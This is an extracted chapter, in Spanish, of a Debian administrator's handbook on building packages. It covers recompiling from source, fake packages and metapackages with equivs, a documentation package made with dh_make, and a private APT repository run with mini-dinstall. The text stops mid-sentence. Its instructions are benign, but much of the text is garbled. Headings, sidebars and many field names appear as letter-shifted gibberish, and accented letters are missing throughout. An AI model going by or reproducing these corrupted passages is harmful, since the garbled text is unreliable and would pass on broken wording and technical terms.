3FDPNQJMBDJO EF VO QBRVFUF EFTEF TVT GVFOUFT 


$SFBDJO EF VO SFQPTJUPSJP EF QBRVFUFT QBSB "15 

$SFBDJO EF TV QSJNFS QBRVFUF 

$NP DPOWFSUJSTF FO VO FODBSHBEP EF QBRVFUFT 

Es muy comn para un administrador Debian que gestiona diariamente paquetes Debian finalmente sentir la necesidad de crear sus propios paquetes o modificar un paquete existente. Este captulo pretende dar respuesta a las preguntas ms comunes en
este campo y proporcionar los elementos necesarios para aprovechar lo mejor posible
la infraestructura de Debian. Con un poco de suerte, despus de probar con paquetes
locales, incluso puede sentir la necesidad de ir ms all y unirse al proyecto Debian
en s!

 3FDPNQJMBDJO EF VO QBRVFUF EFTEF TVT GVFOUFT


Son varias las cirunstancias bajo las que es necesario reconstruir un paquete binario. En algunos
casos, el administrador necesita una funcionalidad del software para la que necesitar compilarlo desde sus fuentes con alguna opcin de compilacin particular; en otras, el software empaquetado para la versin de Debian instalada no es suficientemente reciente. En el ltimo caso, el
administrador generalmente compilar un paquete ms reciente que obtendr de una versin
ms reciente de Debian como Testing o inclusive Unstable para que este nuevo paquete funcione con su distribucin Stable; esta operacin es llamada retroadaptacin (backporting).
Como siempre, antes de embarcarse en esta tarea, se debe revisar si no fue hecha ya revise
rpidamente la pgina de este paquete en el sistema de seguimiento de paquetes para encontrar
esta informacin.
http://packages.qa.debian.org/

 0CUFODJO EF MBT GVFOUFT


Lo primero para recompilar un paquete Debian es obtener su cdigo fuente. La forma ms sencilla es utilizando apt-get source nombre-paquete-fuente. Para ello necesitar una lnea EFC
TSD en el archivo /etc/apt/sources.list y archivos de ndice actualizados (es decir: apt-get
update). Si sigui las instrucciones en el captulo sobre la configuracin de APT (revise la Seccin 6.1, Contenido del archivo sources.list pgina 104) debera cumplir estas condiciones.
Sepa, sin embargo, que descargar los paquetes fuente de la versin Debian mencionada en la
lnea EFCTSD. Si necesita otra versin probablemente necesite descargarla manualmente de un
repositorio Debian o desde el sitio web. Para ello debe obtener dos o tres archivos (con extensiones *.dsc por control de fuente Debian: Debian Source Control *.tar.comp y a veces
*.diff.gz o *.debian.tar.comp donde el valor de comp es uno de H[, C[, M[NB o Y[ dependiendo de la herramienta de compresin utilizada), luego ejecute dpkg-source -x archivo.
dsc. Si puede acceder directamente al archivo *.dsc a travs de una URL existe una forma ms
sencilla de obtener todo ejecutando dget URL. Este programa (que puede encontrar en el paquete devscripts) obtiene el archivo *.dsc en la direccin provista, analiza su contenido y obtiene
automticamente el o los archivos a los que hace referencia. Con la opcin Y inclusive se descomprime localmente el paquete fuente una vez que fue descargado.

 3FBMJ[BDJO EF DBNCJPT


Ahora tiene las fuentes del paquete disponibles en un directorio cuyo nombre coincide con el
paquete fuente y su versin (por ejemplo: samba-3.6.16); all es donde trabajaremos en nuestros
cambios locales.
Lo primero que debemos hacer es cambiar el nmero de versin del paquete para que podamos
distinguir el paquete recompilado del paquete original que provee Debian. Si asumimos que
la versin actual es  podemos crear la versin GBMDPU, que indica claramente
el origen del paquete. Esto adems hace que el nmero de versin del paquete sea mayor al



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

del que provee Debian para que el paquete se instalar fcilmente como una actualizacin al
paquete original. La mejor forma de realizar dicho cambio es con el programa dch (por cambios
Debian: Debian CHangelog) del paquete devscripts ejecutando algo similar a dch --local fa
lcot1. Esto invoca un editor de texto (sensible-editor este debera ser tu editor favorito
si es mencionado en las variables de entorno VISUAL o EDITOR o el editor predeterminado de
lo contrario) que nos permitir documentar las diferencias introducidas en esta recompilacin.
Este editor nos mostrar que dch realmente cambi el archivo debian/changelog.
Cuando necesitamos cambiar las opciones de compilacin, debemos realizar cambios a debian/
rules, el cual se encarga de todos los pasos en el proceso de compilacin del paquete. En los
casos ms simples, es sencillo encontrar las lneas sobre la configuracin inicial (DPOGJHVSF )
o la compilacin en s ( .",&
o NBLF ). Si no se ejecutan especficamente estos programas probablemente son un efecto secundario de otra orden explcita, en cuyo caso refirase a
la documentacin de las mismas para aprender cmo cambiar el comportamiento predeterminado.
Dependiendo de los cambios locales a los paquetes, tambin podra necesitar actualizar el archivo debian/control, que contiene una descripcin de los paquetes generados. En particular, este
paquete contiene lneas #VJME%FQFOET que controlan la lista de dependencias que se deben
cumplir en el momento de compilar un paquete. stas lneas generalmente hacen referencia a
las versiones de los paquetes que se encuentran en la distribucin de la que proveen los paquetes
fuente pero que pueden no estar disponibles en la distribucin en la que estamos recompilando.
No hay una forma automatizada para determinar si una dependencia es real o slo est presente
para garantizar que slo se intente compilar con la ltima versin de una biblioteca esta es
la nica forma de forzar que autobuilder utilice una versin especfica de un paquete durante
su compilacin, por lo que los desarrolladores Debian frecuentemente utilizan dependencias de
compilacin con versiones estrictas.
Si est seguro que estas dependencias de compilacin son muy estrictas, sintase libre de relajarlas localmente. Lea los archivos que documentan la forma estndar de compilar el software
generalmente estos archivos son llamados INSTALL le ayudarn a encontrar las dependencias
adecuadas. Idealmente, podr satisfacer todas las dependencias en la distribucin que utilice
para recompilar; de lo contrario, comienza un proceso recursivo en el que debemos retroadaptar los paquetes mencionados en el campo #VJME%FQFOET antes de poder finalizar con el
paquete deseado. Algunos paquetes pueden no necesitar ser retroadaptados y puede instalarlos
tal cual durante el proceso de compilacin (un ejemplo notable es debhelper). Sepa que el proceso de retroadaptacin puede volverse muy complejo rpidamente si no tiene cuidado. Por lo
tanto, debe mantener al mnimo las retroadaptaciones siempre que sea posible.

46(&3&/$*"
*OTUBMBDJO EF BuildDepends

apt-get QFSNJUF JOTUBMBS UPEPT MPT QBRVFUFT NFODJPOBEPT FO MPT DBNQPT


Build-Depends EF VO QBRVFUF GVFOUF EJTQPOJCMF FO VOB EJTUSJCVDJO NFO
DJPOBEB FO VOB MOFB deb-src EFM BSDIJWP /etc/apt/sources.list &TUP FT
TJNQMF DVFTUJO EF FKFDVUBS apt-get build-dep paquete-fuente

$BQUVMP  $SFBDJO EF VO QBRVFUF %FCJBO



 *OJDJP EF MB SFDPNQJMBDJO


Cuando aplicamos los cambios necesarios a las fuentes, podemos comenzar la generacin del
paquete binario (archivo .deb). El programa dpkg-buildpackage gestiona todo el proceso.
&KFNQMP  3FDPNQJMBDJO EFM QBRVFUF
$ dpkg-buildpackage -us -uc
[...]

)&33".*&/5"
fakeroot

&O FTFODJB FM QSPDFTP EF DSFBDJO EF VO QBRVFUF FT TJNQMF DVFTUJO EF SFVOJS


FO VO DPNQFOEJP VO DPOKVOUP EF BSDIJWPT FYJTUFOUFT P DPNQJMBEPT
 FO EJDIP
DPNQFOEJP SPPU TFS FM EVFP EF MB NBZPSB EF MPT BSDIJWPT EFM DPNQFOEJP
4JO FNCBSHP DSFBS UPEP FM QBRVFUF CBKP FTUF VTVBSJP BVNFOUBSB MPT SJFTHPT
BGPSUVOBEBNFOUF QPEFNPT FWJUBS FTUP DPO FM QSPHSBNB fakeroot 1PEFNPT
VUJMJ[BS FTUB IFSSBNJFOUB QBSB FKFDVUBS VO QSPHSBNB Z EBSMF MB JNQSFTJO RVF
FTU FKFDVUBOEP DPNP SPPU Z DSFB BSDIJWPT DPO QFSNJTPT Z EVFPT BSCJUSBS
JPT $VBOEP FM QSPHSBNB DSFB FM DPNQFOEJP RVF TFS FM QBRVFUF %FCJBO TF MP
FOHBB QBSB RVF DSFF VO DPNQFOEJP DPO BSDIJWPT DPO EVFPT BSCJUSBSJPT JO
DMVZFOEP SPPU &TUB DPOGJHVSBDJO FT UBO DPOWFOJFOUF RVF dpkg-buildpackage
VUJMJ[B fakeroot EF GPSNB QSFEFUFSNJOBEB DVBOEP HFOFSB QBRVFUFT
4FQB RVF TMP TF FOHBB BM QSPHSBNB QBSB RVF kDSFB{ RVF GVODJPOB CBKP VOB
DVFOUB DPO QSJWJMFHJPT QFSP FM QSPDFTP SFBMNFOUF FKFDVUB DPNP FM VTVBSJP RVF
FKFDVU fakeroot programa Z TF DSFBO MPT BSDIJWPT DPO MPT QFSNJTPT EF EJDIP
VTVBSJP
 &O OJOHO NPNFOUP SFBMNFOUF PCUJFOF QSJWJMFHJPT EF SPPU RVF QVFEB
BCVTBS

El programa anterior puede fallar si no se actualizaron los campos #VJME%FQFOET o si no estn


instalados los paquetes relacionados. En tal caso, es posible evitar este chequeo con la opcin 
E de dpkg-buildpackage. Sin embargo, al ignorar explcitamente estas dependencias corre el
riesgo de que el proceso de compilacin falle en una etapa posterior. Lo que es peor, el paquete
puede parecer compilar correctamente pero no ejecutar correctamente: algunos programas desactivan automticamente algunas de sus funcionalidades cuando una biblioteca necesaria no
est disponible al momento de compilarlo.
La mayora de las veces, los desarrolladores Debian utilizan un programa de alto nivel como
debuild; ste ejecuta dpkg-buildpackage normalmente, pero tambin agrega una invocacin
de un programa que ejecuta muchos chequeos para validar el paquete generado segn la normativa Debian. Este script tambin limpia el entorno para que las variables de entorno locales
no contaminen la compilacin del paquete. El programa debuild es una de las herramientas
de devscripts, que comparte un poco de consistencia y configuracin para facilitar la tarea del
desarrollador.
7*45" 31*%"
pbuilder



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

&M QSPHSBNB pbuilder FO FM QBRVFUF EFM NJTNP OPNCSF


QFSNJUF DSFBS VO QB
RVFUF %FCJBO FO VO FOUPSOP DISPPU 1SJNFSP DSFB VO EJSFDUPSJP UFNQPSBM RVF

DPOUJFOF FM TJTUFNB NOJNP OFDFTBSJP QBSB DSFBS FM QBRVFUF JODMVZFOEP MPT


QBRVFUFT NFODJPOBEPT FO FM DBNQP #VJME%FQFOET
 -VFHP VUJMJ[B FTUF EJSFD
UPSJP DPNP SB[ /
DPO FM QSPHSBNB chroot EVSBOUF FM QSPDFTP EF DPNQJMBDJO
&TUB IFSSBNJFOUB QFSNJUF RVF FM QSPDFTP EF DPNQJMBDJO PDVSSB FO VO FOUPSOP
RVF OP GVF NPEJGJDBEP QPS FM VTVBSJP &TUP UBNCJO QFSNJUF VOB EFUFDDJO SQ
JEB EF MBT EFQFOEFODJBT EF DPNQJMBDJO GBMUBOUFT ZB RVF MB DPNQJMBDJO GBMMBS
B NFOPT RVF MBT EFQFOEFODJBT BQSPQJBEBT FTUO EPDVNFOUBEBT
 'JOBMNFOUF
QFSNJUF DSFBS VO QBRVFUF QBSB VOB WFSTJO EF %FCJBO RVF OP FT MB JOTUBMBEB FO
FM TJTUFNB FM FRVJQP QVFEF FTUBS VUJMJ[BOEP 4UBCMF QBSB TV USBCBKP OPSNBM QFSP
pbuilder FO FM NJTNP FRVJQP QVFEF VUJMJ[BS 6OTUBCMF QBSB DPNQJMBS QBRVFUFT

 $SFBDJO EF TV QSJNFS QBRVFUF


 .FUBQBRVFUFT P QBRVFUFT GBMTPT
Los paquetes falsos y los metapaquetes son similares en que son cascarones vacos que slo existen por los efectos que tienen sus metadatos en el sistema de gestin de paquetes.
El propsito de un paquete falso es engaar a dpkg y apt para que crean que un paquete est
instalado. Esto permite satisfacer las dependencias de un paquete cuando se instal el software
correspondiente fuera del alcance del sistema de paquetes. Este mtodo funciona, pero debera
evitarlo siempre que sea posible ya que no hay garantas que el software instalado manualmente
se comporta exactamente de la misma forma que el paquete correspondiente y que otros paquetes que dependan de l funcionarn correctamente.
Por el otro lado, un metapaquete existe principalmetne como una coleccin de dependencias,
para que su instalacin incluya un conjunto de otros paquetes en un solo paso.
Puede crear ambos tipos de paquetes con los programas equivs-control y equivs-build (en
el paquete equivs). Si ejecuta equivs-control archivo crear un archivo de cabecera de un
paquete Debian que debe editar para que contenga el nombre esperado del paquete, su nmero
de versin, el nombre de su encargado, sus dependencias y su descripcin. Puede eliminar todos
los dems campos sin un valor predeterminado ya que son opcionales. Los campos $PQZSJHIU,
$IBOHFMPH, 3FBENF y &YUSB'JMFT no son campos estndar en los paquetes Debian, slo tienen
sentido dentro del alcance de equivs-build y no sern mantenidos en las cabeceras del paquete
generado.
&KFNQMP 

"SDIJWP EF DBCFDFSB EFM QBRVFUF GBMTP MJCYNMMJCYNMQFSM

Section: perl
Priority: optional
Standards-Version: 3.8.4
Package: libxml-libxml-perl
Version: 1.57-1
Maintainer: Raphael Hertzog <hertzog@debian.org>

$BQUVMP  $SFBDJO EF VO QBRVFUF %FCJBO



Depends: libxml2 (>= 2.6.6)


Architecture: all
Description: Fake package - module manually installed in site_perl
This is a fake package to let the packaging system
believe that this Debian package is installed.
.
In fact, the package is not installed since a newer version
of the module has been manually compiled & installed in the
site_perl directory.

EL siguiente paso es generar el paquete Debian ejecutando equivs-build archivo. Voil: se


cre el paquete en el directorio actual y lo puede utilizar como cualquier otro paquete Debian.

 4JNQMF DPNQFOEJP EF BSDIJWPT


Los administradores de Falcot Corp necesitaron crear un paquete Debian para facilitar el despliegue de un conjunto de documentos en una gran cantidad de equipos. El administrador a
cargo de esta tarea primero ley la Gua del nuevo desarrollador de Debian y luego comenz
a trabajar en su primer paquete.
http://www.debian.org/doc/maint-guide/index.es.html
El primer paso es crear un directorio falcot-data-1.0 que contendr el paquete fuente objetivo. El paquete, lgicamente, se llamar GBMDPUEBUB y tendr el nmero de versin . El
administrador luego ubicar los archivos de documentos en un subdirectorio data. Luego ejecutar dh_make (del paquete dh-make) para agregar los archivos necesarios para el proceso de
generacin del paquete, que sern almacenados en un subdirectorio debian:
$ cd falcot-data-1.0
$ dh_make --native
Type of package: single binary, indep binary, multiple binary, library, kernel module
, kernel patch or cdbs?
[s/i/m/l/k/n/b] i
Maintainer name : Raphael Hertzog
Email-Address
: hertzog@debian.org
Date
: Mon, 11 Apr 2011 15:11:36 +0200
Package Name
: falcot-data
Version
: 1.0
License
: blank
Usind dpatch
: no
Type of Package : Independent
Hit <enter> to confirm:
Currently there is no top level Makefile. This may require additional tuning.
Done. Please edit the files in the debian/ subdirectory now. You should also
check that the falcot-data Makefiles install into $DESTDIR and not in / .
$



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

El tipo de paquete seleccionado (binario nico: single binary) indica que este paquete fuente
generar slo un paquete binario que depende de la arquitectura ("SDIJUFDUVSFBOZ. Binario independiente (indep binary) es lo contrario y generar slo un paquete binario que no depende
de la arquitectura objetivo ("SDIJUFDUVSFBMM). En este caso, esta ltima opcin es ms relevante
ya que el paquete slo contendr documentos y ningn programa binario, por lo que se lo puede
utilizar de la misma forma en equipos de cualquier arquitectura.
El tipo binario mltiple (multiple binary) corresponde a un paquete fuente que generar varios
paquetes binarios. Un caso particular, biblioteca (library), es til para bibliotecas compartidas
ya que necesitan seguir reglas de empaquetado estrictas. De forma similar, debera restringir el
uso de mdulo de ncleo (kernel module) a paquetes que contengan mdulos de ncleo. Finalmente, cdbs es un sistema de creacin de paquetes especfico; es bastante flexible pero necesita
un poco de aprendizaje.
46(&3&/$*"
/PNCSF Z EJSFDDJO EF
DPSSFP EFM FODBSHBEP

-B NBZPSB EF MPT QSPHSBNBT JOWPMVDSBEPT BM NBOUFOFS QBRVFUFT CVTDBSO


TV OPNCSF Z EJSFDDJO EF DPSSFP FO MBT WBSJBCMFT EF FOUPSOP DEBFULLNAME Z
DEBEMAIL P EMAIL %FGJOJSMBT EF VOB WF[ Z QBSB TJFNQSF MF FWJUBS UFOFS RVF
JOHSFTBSMBT WBSJBT WFDFT 4J TV DPOTPMB VTVBM FT bash FT TJNQMF DVFTUJO EF
BHSFHBS MBT TJHVJFOUFT EPT MOFBT B TVT BSDIJWPT ~/.bashrc Z ~/.bash_profile
aPCWJBNFOUF SFFNQMB[BS MPT WBMPSFT DPO VOPT NT SFMFWBOUFT

export EMAIL="hertzog@debian.org"
export DEBFULLNAME="Raphael Hertzog"

El programa dh_make crea un subdirectorio debian con muchos archivos. Algunos son necesarios, en particular rules, control, changelog y copyright. Los archivos con extensin .ex
son archivos de ejemplo que puede utilizar modificndolos (y eliminando la extensin) cuando
necesite. Si no los necesita, le recomendamos eliminarlos. Debe mantener el archivo compat ya
que es necesario para que funcione correctamente la suite de programas debhelper (todos los
que comienzan con el prefijo dh_) que son utilizados en varias etapas del proceso de creacin
del paquete.
El archivo copyright debe contener la informacin sobre los autores de los documentos incluidos en el paquete y las licencias relacionadas. En nuestro caso, stos son documentos internos y
su uso est restringido al interior de la empresa Falcot Corp. El archivo changelog predeterminado generalmente es apropiado; reemplace Initial release con una explicacin ms detallada y basta con cambiar la distribucin de VOTUBCMF a JOUFSOBM. Tambin actualizamos el archivo
control: modificamos la seccin a misc y eliminamos los campos )PNFQBHF, 7DT(JU y 7DT
#SPXTFS. Completamos los campos %FQFOET con JDFXFBTFM ] XXXCSPXTFS para asegurar que
exista un navegador web disponible capaz de mostrar los documentos en el paquete.
&KFNQMP 

&M BSDIJWP control

Source: falcot-data
Section: misc

$BQUVMP  $SFBDJO EF VO QBRVFUF %FCJBO



Priority: optional
Maintainer: Raphael Hertzog <hertzog@debian.org>
Build-Depends: debhelper (>= 7.0.50~)
Standards-Version: 3.8.4
Package: falcot-data
Architecture: all
Depends: iceweasel | www-browser, ${misc:Depends}
Description: Internal Falcot Corp Documentation
This package provides several documents describing the internal
structure at Falcot Corp. This includes:
- organization diagram
- contacts for each department.
.
These documents MUST NOT leave the company.
Their use is INTERNAL ONLY.

&KFNQMP 

&M BSDIJWP changelog

falcot-data (1.0) internal; urgency=low


* Initial Release.
* Let's start with few documents:
- internal company structure;
- contacts for each department.
-- Raphael Hertzog <hertzog@debian.org>

&KFNQMP 

Mon, 11 Apr 2011 20:46:33 +0200

&M BSDIJWP copyright

This work was packaged for Debian by Raphael Hertzog <hertzog@debian.org>


on Mon, 11 Apr 2011 20:46:33 +0200
Copyright:
Copyright (C) 2004-2011 Falcot Corp
License:
All rights reserved.

70-7&3 " -04


$*.*&/504
&M BSDIJWP Makefile



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

6O BSDIJWP Makefile FT VO TDSJQU VUJMJ[BEP QPS FM QSPHSBNB make EFTDSJCF MBT


SFHMBT QBSB DSFBS VO DPOKVOUP EF BSDIJWPT EFTEF PUSPT FO VO SCPM EF EFQFO
EFODJBT QPS FKFNQMP QPEFNPT DPNQJMBS VO QSPHSBNB EFTEF VO DPOKVOUP EF

BSDIJWPT GVFOUF
 &M BSDIJWP Makefile EFTDSJCF FTUBT SFHMBT FO FM TJHVJFOUF GPS
NBUP
objetivo: fuente1 fuente 2 ...
orden1
orden2

-B JOUFSQSFUBDJO EF FTUB SFHMB FT DPNP TJHVF TJ VOP EF MPT BSDIJWPT fuente* FT


NT SFDJFOUF RVF FM BSDIJWP objetivo FOUPODFT FT OFDFTBSJP HFOFSBS FM PCKFUJWP
VUJMJ[BOEP orden1 Z orden2
4FQB RVF MBT MOFBT EF SEFOFT EFCFO DPNFO[BS DPO VO DBSDUFS EF UBCVMBDJO
UBNCJO EFCF TBCFS RVF DVBOEP VOB MOFB EF SEFOFT DPNJFO[B DPO VO DBS
DBUFS EF HVJO -
TJ TUF GBMMB OP JOUFSSVNQJS UPEP FM QSPDFTP

El archivo rules generalmente contiene un conjunto de reglas utilizadas para configurar, compilar e instalar el software en un subdirectorio dedicado (cuyo nombre coincide con el del paquete binario generado). Luego se incluye el contenido de este subdirectorio en el compendio
del paquete Debian como si fuera la raz del sistema de archivos. En nuestro caso, se instalarn
los archivos en el subdirectorio debian/falcot-data/usr/share/falcot-data/ para que el
paquete generado despliegue los archivos en /usr/share/falcot-data/. Se utiliza el archivo
rules como si fuera un archivo Makefile, con unos pocos objetivos estndar (incluyendo DMFBO
y CJOBSZ, utilizados para limpiar el directorio fuente y generar el paquete binario respectivamente).
Si bien este archivo es el corazn del proceso, cada vez ms contiene slo el mnimo indispensable para ejecutar un conjunto estndar de programas que provee la herramienta debhelper.
Tal es el caso de los archivos generados por dh_make. Para instalar nuestros archivos simplemente configuraramos el comportamiento de dh_install creando el siguiente archivo
debian/falcot-data.install:
data/* usr/share/falcot-data/

En este punto, podemos crear el paqute. Sin embargo, agregaremos una capa de pintura. Debido
a que los administradores desean que se pueda acceder fcilmente a los documentos desde el
men de ayuda de los entornos grficos de escritorio, crearemos un elemento en el sistema
de mens Debian. Haremos esto simplemente cambiando el nombre de debian/menu.ex para
eliminar su extensin y editndolo como sigue:
&KFNQMP 

&M BSDIJWP menu

?package(falcot-data):needs=X11|wm section=Help\
title="Internal Falcot Corp Documentation" \
command="/usr/bin/x-www-browser /usr/share/falcot-data/index.html"
?package(falcot-data):needs=text section=Help\
title="Internal Falcot Corp Documentation" \
command="/usr/bin/www-browser /usr/share/falcot-data/index.html"

$BQUVMP  $SFBDJO EF VO QBRVFUF %FCJBO



Cuando definimos al campo OFFET como 9]XN, indicamos que este elemento slo tiene sentido en una interfaz grfica. Por lo tanto, slo ser integrado en los mens de aplicaciones grficas
(X11) y gestores de ventanas (de all XN). El campo TFDUJPO indica en qu parte del men debera mostrar el elemento. En nuestro caso, nuestro elemento se encontrar en el men Help.
El campo UJUMF contiene el texto que ser mostrado en el men. Finalmente, el campo DPNNBOE
describe el programa a ejecutar cuando el usuario seleccione el elemento del men.
El segundo elemento coincide con el primero, con ligeras adaptaciones parar el modo de texto
de la consola Linux.
/03."5*7" %&#*"/
0SHBOJ[BDJO EFM NFO

-PT NFOT %FCJBO FTUO PSHBOJ[BEPT FO VOB FTUSVDUVSB GPSNBM EPDVNFOUBEB


FO FM UFYUP TJHVJFOUF
http://www.debian.org/doc/packaging-manuals/menu-policy/

%FCF FMFHJS FM DBNQP section EF VO BSDIJWP menu EF FOUSF BMHVOP EF MPT NFO
DJPOBEPT FO MB MJTUB EF EJDIP EPDVNFOUP

Simplemente crear el archivo debian/menu es suficiente para activar el men en el paquete ya


que dh ejecutar automticamente el programa dh_installmenu durante el proceso de creacin
del paquete.
Ahora nuestro paquete fuente est listo. Todo lo que falta es generar el paquete binario con el
mismo mtodo que utilizamos para recompilar paquetes: ejecutaremos dpkg-buildpackage us -uc desde el directorio falcot-data-1.0.

 $SFBDJO EF VO SFQPTJUPSJP EF QBRVFUFT QBSB "15


Falcot Corp gradualmente comenz a mantener una cantidad de paquetes Debian con modificaciones locales de paquetes existentes o creados desde cero para distribuir datos y programas
internos.
Para facilitar su despliegue, desean integrarlos en un repositorio de paquetes que APT pueda
utilizar directamente. Por razones de mantenimiento obvias, desean separar los paquetes internos de aquellos recompilados localmente. El objetivo es que los elementos correspondientes del
archivo /etc/apt/sources.list sean los siguientes:
deb http://packages.falcot.com/ updates/
deb http://packages.falcot.com/ internal/

Por lo tanto, los administradores configuraron un servidor virtual en su servidor HTTP interno, con /srv/vhosts/packages/ como razs del espacio web asociado. Delegaron la gestin
del repositorio en s al programa mini-dinstall (en el paquete del mismo nombre). Esta herramienta revisa el directorio incoming/ (en nuestro caso: /srv/vhosts/packages/
mini-dinstall/incoming) y espera all a los nuevos paquetes; cuando se sube un paquete, lo
instala en un repositorio en /srv/hosts/packages/. El programa mini-dinstall lee el archivo *.changes creado cuando se genera el paquete Debian. Estos archivos contienen una lista



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

de todos los otros archivos asociados a la versin del paquete (*.deb, *.dsc, *.diff.gz/*.
debian.tar.gz, *.orig.tar.gz o sus equivalentes con otras herramientas de compresin) que
le permiten a mini-dinstall saber qu archivos instalar. Los archivos *.changes tambin contienen el nombre de la distribucin objetivo (generalmente VOTUBCMF) mencionada en el ltimo campo de la entrada en debian/changelog y mini-dinstall utiliza esta informacin para
decidir dnde instalar el paquete. Es por esto que los administradores siempre deben cambiar
este campo antes de compilar un paquete y definirlo como JOUFSOBM o VQEBUFT, dependiendo de
la ubicacin objetivo. mini-dinstall generar luego los archivos necesarios para APT, como
Packages.gz.
"-5&3/"5*7"
apt-ftparchive

4J mini-dinstall MF QBSFDF EFNBTJBEP DPNQMFKP QBSB TVT OFDFTJEBEFT EF


SFQPTJUPSJPT %FCJBO UBNCJO QVFEF VUJMJ[BS FM QSPHSBNB apt-ftparchive &T
UB IFSSBNJFOUB FYQMPSB FM DPOUFOJEP EF VO EJSFDUPSJP Z NVFTUSB QPS TV TBMJ
EB FTUOEBS
FM BSDIJWP Packages DPSSFTQPOEJFOUF &O FM DBTP EF 'BMDPU $PSQ
MPT BENJOJTUSBEPSFT QVFEFO TVCJS TVT QBRVFUFT EJSFDUBNFOUF B /srv/vhosts/
packages/updates/ P /srv/vhosts/packages/internal/ Z MVFHP FKFDVUBS MP
TJHVJFOUF QBSB DSFBS MPT BSDIJWPT Pacakges.gz
$
$
$
$
$

cd /srv/vhosts/packages
apt-ftparchive packages updates >updates/Packages
gzip updates/Packages
apt-ftparchive packages internal >internal/Packages
gzip internal/Packages

&KFDVUBS apt-ftparchive
NB TJNJMBS

sources

QFSNJUF DSFBS BSDIJWPT Sources.gz EF GPS

La configuracin de mini-dinstall necesita definir un archivo ~/.mini-dinstall.conf; en


el caso de Falcot Corp, su contenido es el siguiente:
[DEFAULT]
archive_style = flat
archivedir = /srv/vhosts/packages
verify_sigs = 0
mail_to = admin@falcot.com
generate_release = 1
release_origin = Falcot Corp
release_codename = stable
[updates]
release_label = Recompiled Debian Packages
[internal]
release_label = Internal Packages

Una decisin importante es la generacin de archivos Release para cada repositorio. Esto puede
ayudar a gestionar las prioridades de instalacin utilizando el archivo de configuracin /etc/

$BQUVMP  $SFBDJO EF VO QBRVFUF %FCJBO



apt/preferences (revise el Seccin 6.2.5, Gestin de prioridades de los paquetes pgina 116

para ms detalles).
4&(63*%"%
Z QFSNJTPT

mini-dinstall

%FCJEP B RVF TF EJTF B mini-dinstall QBSB FKFDVUBS DPNP VO VTVBSJP OPN


SBM OP FT OFDFTBSJP FKFDVUBSMP DPNP SPPU -B GPSNB NT TFODJMMB FT DPOGJHVSBS
UPEP FO MB DVFOUB EF VTVBSJP RVF QFSUFOF[DB BM BENJOJTUSBEPS FODBSHBEP EF
DSFBS MPT QBRVFUFT %FCJBO %FCJEP B RVF TMP FTUF BENJOJTUSBEPS UJFOF MPT QFS
NJTPT OFDFTBSJPT QBSB HVBSEBS BSDIJWPT FO FM EJSFDUPSJP incoming/ QPEFNPT
EFEVDJS RVF TUF BVUFOUJD FM PSJHFO EF DBEB QBRVFUFT BOUFT EF EFTQMFHBSMP
Z mini-dinstall OP OFDFTJUB IBDFSMP OVFWBNFOUF &TUP FYQMJDB FM QBSNFUSPT
verify_sigs =0 RVF TJHOJGJDB RVF OP TF OFDFTJUB WFSJGJDBS GJSNBT
 4JO FNCBS
HP TJ FM DPOUFOJEP EFM QBRVFUF FT TFOTJCMF QPEFNPT SFWFSUJS FTUB DPOGJHVSBDJO
Z TFMFDDJPOBS BVUFOUJDBS DPO VO DPOKVOUP EF MMBWFT RVF DPOUFOHB BRVFMMBT EF MBT
QFSTPOBT RVF UJFOFO QFSNJUJEP DSFBS QBRVFUFT DPOGJHVSBEP DPO FM QBSNFUSP
extra_keyrings
 mini-dinstall MVFHP WFSJGJDBS FM PSJHFO EF DBEB QBRVFUF
FOUSBOUF BOBMJ[BOEP MB GJSNB JOUFHSBEB FO FM BSDIJWP *.changes

Ejecutar mini-dinstall en realidad inicia un demonio en segundo plano. Mientras ejecute


el demonio, revisar el directorio incoming/ por nuevos paquetes cada media hora; cuando
detecte un nuevo paquete lo mover al repositorio y generar los archivos Packages.gz y
Sources.gz. Si ejecutar un demonio es un problema, tambin puede invocar manualmente
mini-dinstall en modo de lote (con la opcin C) cada vez que suba un paquete al directorio
incoming/. mini-dinstall permite otras posibilidades documentadas en su pgina de manual
mini-dinstall(1).
&953"
(FOFSBDJO EF VO SFQPTJUPSJP
GJSNBEP

-B TVJUF "15 WFSJGJDB VOB DBEFOB EF GJSNBT DSJQUPHSGJDBT FO MPT QBRVFUFT RVF
HFTUJPOB BOUFT EF JOTUBMBSMPT Z MP IB IFDIP EFTEF &UDI
QBSB QPEFS BTFHVSBS
TV BVUFOUJDJEBE SFWJTF MB 4FDDJO  k$PNQSPCBDJO EF MB BVUFOUJDJEBE EF
VO QBRVFUF{ QHJOB 
 1PS MP UBOUP MPT SFQPTJUPSJPT "15 QSJWBEPT QVFEFO
TFS VO QSPCMFNB ZB RVF MPT FRVJQPT RVF MPT VUJMJDFO NPTUSBSO BEWFSUFODJBT
TPCSF QBRVFUFT TJO GJSNBS 1PS MP UBOUP VO BENJOJTUSBEPS EJMJHFOUF JOUFHSBS
MPT BSDIJWPT QSJWBEPT DPO FM NFDBOJTNP EF TFHVSJEBE EF "15
1BSB BZVEBS DPO FTUF QSPDFTP mini-dinstall JODMVZF MB PQDJO EF DPO
GJHVSBDJO release_signscript RVF QFSNJUF FTQFDJGJDBS VO TDSJQU B VUJMJ[BS
QBSB HFOFSBS MB GJSNB 6O CVFO QVOUP EF QBSUJEB FT FM TDSJQU sign-release.
sh QSPWJTUP QPS FM QBRVFUF NJOJEJOTUBMM FO FM EJSFDUPSJP /usr/share/doc/
mini-dinstall/examples/ QVFEF OFDFTJUBS DBNCJPT MPDBMFT

 $NP DPOWFSUJSTF FO VO FODBSHBEP EF QBRVFUFT


 "QSFOEJ[BKF EF DSFBDJO EF QBRVFUFT
Crear un paquete Debian de calidad no siemrpe es una tarea sencilla y necesitar aprender algunas cosas para convertirse en un encargado de paquetes (package mantainer), tanto tericas
como prcticas. No es slo cuestin de compilar e instalar software; en cambio, la mayor parte



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

de la complejidad proviene de entender problemas, conflictos y, en general, las interacciones


con los muchos otros paquetes disponibles.

3FHMBT
Un paquete Debian debe cumplir con las reglas precisas agrupadas en la normativa Debian, y
todo encargado de paquetes debe conocerlas. No hay necesidad de saberlas de memoria, sino
saber que existen y consultarlas cuando se enfrente ante alternativas no triviales. Todo encargado Debian cometi errores por no saber acerca de alguna regla, pero esto no es un gran problema siempre que se lo corrija despus que un usuario reporte el error como un fallo, lo que
